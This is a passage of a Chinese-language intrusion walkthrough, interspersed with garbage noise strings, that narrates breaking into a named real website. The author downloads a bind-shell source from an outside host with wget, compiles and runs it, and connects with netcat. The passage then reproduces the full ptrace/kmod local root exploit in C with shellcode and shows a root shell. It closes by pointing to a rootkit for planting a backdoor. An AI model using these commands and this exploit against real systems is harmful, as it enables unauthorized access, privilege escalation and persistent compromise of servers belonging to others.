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http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了,
5 }2 h1 M7 P9 c9 |; P# w, S就可以用wget这个命令来下载了,输入 # S6 ^- I" w; v2 P% }9 D, q
wget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思
1 ]7 g8 [2 V6 d# x0 [# o | \7 Y就是下载这个shell.c到/tmp目录下,如图6
5 C. `7 \+ E$ n# ^, r! [然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain4 i( D3 L" E2 p, `7 J0 F
2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs( O1 @; B+ }3 ~/ V+ B+ m
这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天
Y, @% x' e Z8 b* L$ @, k: V在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果/ h: r2 _. v' d$ H
[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
) n9 I8 D7 Y) m$ \12gcc: /usr/bin/gcc
3 D3 N' Y: Z5 u+ O( G: T8 _, H8 K0 A好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind
2 I( _, s5 X% l7 V$ u) `" _' H编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,
/ R2 m5 O3 b7 R, W* `/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我
2 n( ?. Q1 e9 F3 O' s5 l们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 20000" _1 Y" _' @- k
哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found"- U: j6 E4 [: L( N' h- N
呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,) F5 Z. q# V- K& o
Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000& Y: ^- s; F/ p3 f$ P: I2 j. ^, H
(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/*% i$ j7 U" t' {
* Linux kernel ptrace/kmod local root exploit
0 h% i" u$ M) i1 \: ~*' i% G# p# N; {
* This code exploits a race condition in kernel/kmod.c, which creates4 h7 {4 X4 F! l9 V( p
* kernel thread in insecure manner. This bug allows to ptrace cloned
5 e/ y& I; F) I4 X! t; g4 ?* process, allowing to take control over privileged modprobe binary.5 E8 v0 L' ?" b" M, |
*
$ _# e. ?' W% Z. X* Should work under all current 2.2.x and 2.4.x kernels. t3 d" A& V' F7 \* `
* 2 }6 s9 N- ]4 @# R; N3 s
* I discovered this stupid bug independently on January 25, 2003, that 9 g( l9 h+ e; D+ c/ O q% w
* is (almost) two month before it was fixed and published by Red Hat3 Q N- M- _1 t& G. L, F
* and others.+ }! Q Q+ K1 q _8 K7 R+ Z
*
* }! T6 X" ^5 l% G* Wojciech Purczynski <cliph@isec.pl> f0 P# F1 k; b( S# D8 T0 E% c) _
*
$ `- g* }. F# j9 [0 z* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
7 A7 D, |( k4 p7 \- ~* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
# e4 d' i% s3 C* A, T; _+ ~*
+ T, |$ Q$ y$ q, M4 N7 o$ }* (c) 2003 Copyright by iSEC Security Research' q) v) u# Z4 m) u# K3 b
*/ #include " C$ b4 y. j' B# q; D! ]
#include ' d Y; c- q- w" @0 F0 k$ {
#include " L& t7 ?$ B: Y# j. L7 v) {, w
#include & J. {* S; P- _% h$ X/ y1 j
#include
5 ?9 [( j& ^* `9 W+ h5 |' K7 a#include
$ V% T) m; J, H' O" @6 Q#include
. k$ L( r5 h/ x* A2 X" i#include & P0 \6 ?' N! [/ a3 g9 Y+ ~0 E
#include ) ^1 K( Z. {; Z s; N3 g) U
#include . o+ X8 w2 O) X# G
#include
% ^( E2 |, O8 H4 h( M#include 5 M4 c5 `7 |, d: Q$ Z
#include
9 ]" u) m0 t( v; u4 o$ k#include
% T$ F8 Z/ j1 t0 c9 \. j; d#include ' r6 p6 P5 g4 H3 P: _2 A) C- H5 E
#include char cliphcode[] = G4 Q( X/ L" i/ l
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"" H# ]/ Z& E3 n
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
. \; X" ?; N$ m"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
6 u) E9 K, i& \1 C) v+ V V"\x00\x00\xcd\x80\x89\xd0\x89\xd3"; N# a- R5 c7 ~. @' X1 J( `
"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1;0 P; R) o" N/ H: j" V
pid_t child = 1;( I- J9 F9 Q$ ?+ Q" m1 a
pid_t victim = 1;4 c: }7 v7 o( K+ H. f. o: \5 h$ m
volatile int gotchild = 0; void fatal(char * msg)
" o& R b. o& q! X: i8 b t1 h# L+ K{' _) ?- L' Q8 o) A
perror(msg);
9 A: w7 K) X5 j" Q A* fkill(parent, SIGKILL);
4 ?; \4 o. v& K. ~kill(child, SIGKILL);( F5 G6 |0 e) M& N
kill(victim, SIGKILL);
' R' d. D) f- E, U- {% w} void putcode(unsigned long * dst)
+ v. F }+ x+ \/ H{" r- b) z' E N% s8 ]( D
char buf[MAXPATHLEN + CODE_SIZE];
# u' t$ I6 y' p, Qunsigned long * src;
- d! _. F2 o8 a; ~1 Gint i, len; memcpy(buf, cliphcode, CODE_SIZE);
& N, r) ?2 _2 y! `* {* C/ ?len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
) L5 v8 W/ @$ c; k1 r3 fif (len == -1)
6 \, K0 [( l4 d! @# wfatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1;3 ^; N% }0 |. j0 M- l C
buf[len] = '\0'; src = (unsigned long*) buf;
: D6 J/ `0 O& _( |2 _- Dfor (i = 0; i < len; i += 4)6 ?: c$ ]3 E' c* Z1 I# K; ]+ p
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)5 D/ }$ Y! ~/ E/ k) }
fatal("[-] Unable to write shellcode");
4 y s6 d- J. l; Y6 a! Y. d( g1 n7 w1 ]} void sigchld(int signo)) l+ ]2 e/ k( i7 u
{
3 H* m' f% v# l( O0 U9 r% P: g Nstruct user_regs_struct regs; if (gotchild++ == 0)
2 \. ?; ]9 N0 E3 @& q( c" k: nreturn; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1)
, A: K& \% C4 Y; Mfatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)+ h7 U- L: G/ Y% i2 r, F
fatal("[-] Unable to detach from victim"); exit(0);
1 D& ~6 v" ?4 a& T! r [} void sigalrm(int signo)
( J; A) z% I8 S" R{
; r5 a" K! i2 {errno = ECANCELED;
, P$ |# X6 M( w: ], D7 U) I4 R. @2 zfatal("[-] Fatal error");/ x; y' k5 o+ `: \$ [8 `: F+ C
} void do_child(void)+ u% n. z0 l* x
{! D( f5 s' s! b5 K
int err; child = getpid();& `: {8 e; D: R, }! g8 I8 i
victim = child + 1; signal(SIGCHLD, sigchld); do
9 s" M2 P' c$ ~4 cerr = ptrace(PTRACE_ATTACH, victim, 0, 0);4 u( K T+ S5 `+ j6 D1 J
while (err == -1 && errno == ESRCH); if (err == -1)
, S, A. z1 y4 |) n p, w. ?. ^fatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim);3 Q9 b# A$ w d. f2 J# a/ ~1 {7 k
while (!gotchild) ;; N$ O& J6 _" `* h0 L2 v
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
/ T# U% L7 T5 r4 x/ D! afatal("[-] Unable to setup syscall trace");+ m6 j* [. q2 x
fprintf(stderr, "[+] Waiting for signal\n"); for(;;);. j' g; W6 _. e1 S& `- ^
} void do_parent(char * progname)) t3 K) i: @: o% ]) k9 l/ x6 b Q
{3 k( i$ F: y* K# r3 E u
struct stat st;
V; o( I3 A. O' b; |int err;
8 X9 ^1 ^, R3 P' W# Ferrno = 0;3 E" s7 c+ r( j4 n+ W* p
socket(AF_SECURITY, SOCK_STREAM, 1);
( ]# u' x+ V- k5 c- s8 o; ado {
3 |: c8 ^' I6 }3 f6 zerr = stat(progname, &st);2 t, ?. ^7 \$ k- s9 E
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1)( `9 t! @7 D; v9 K$ B. |( J
fatal("[-] Unable to stat myself"); alarm(0);
/ i/ _; E1 D* V0 U2 xsystem(progname);8 U4 f2 ^; h0 Y4 V" o
} void prepare(void)+ Z& `4 ]; p) T6 c; y1 v$ U) h: V
{ {/ U/ d2 F; ?$ h9 b( X6 i
if (geteuid() == 0) {
3 H' b* z+ ~: n3 r# S& ]2 O) zinitgroups("root", 0);
" \) U+ `5 |/ asetgid(0);7 u2 [9 J6 i/ j8 {2 e2 |) D
setuid(0);; }) X# {5 n+ s% k% U' }9 B
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);8 P) c* D. h1 J. ~
fatal("[-] Unable to spawn shell");
9 p" S3 Q& p& X, p; I) `0 Y}
' {! a' I2 `' O0 U; ^- |* c" o} int main(int argc, char ** argv)) C3 C ~) _* y: R0 I! }% G
{
% c* z" a/ |; Sprepare();
) T1 r+ G! U0 `: ?% r: p. ssignal(SIGALRM, sigalrm);' _4 _3 K( ]6 U, z
alarm(10); parent = getpid();, c, |# ~1 V: Z' p8 Y
child = fork(); y, R$ `& v5 x! _
victim = child + 1; if (child == -1)
t1 h! D! C" c% e; B$ G; {fatal("[-] Unable to fork"); if (child == 0)
. f- T. L' O* g( x7 F p- odo_child();. Y. e5 I4 P0 p* _+ T. ?
else& l ~- U* C1 {. J+ w) q- y5 r
do_parent(argv[0]); return 0;9 h/ n; ?7 U2 q5 A( O" m: X
}CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来. |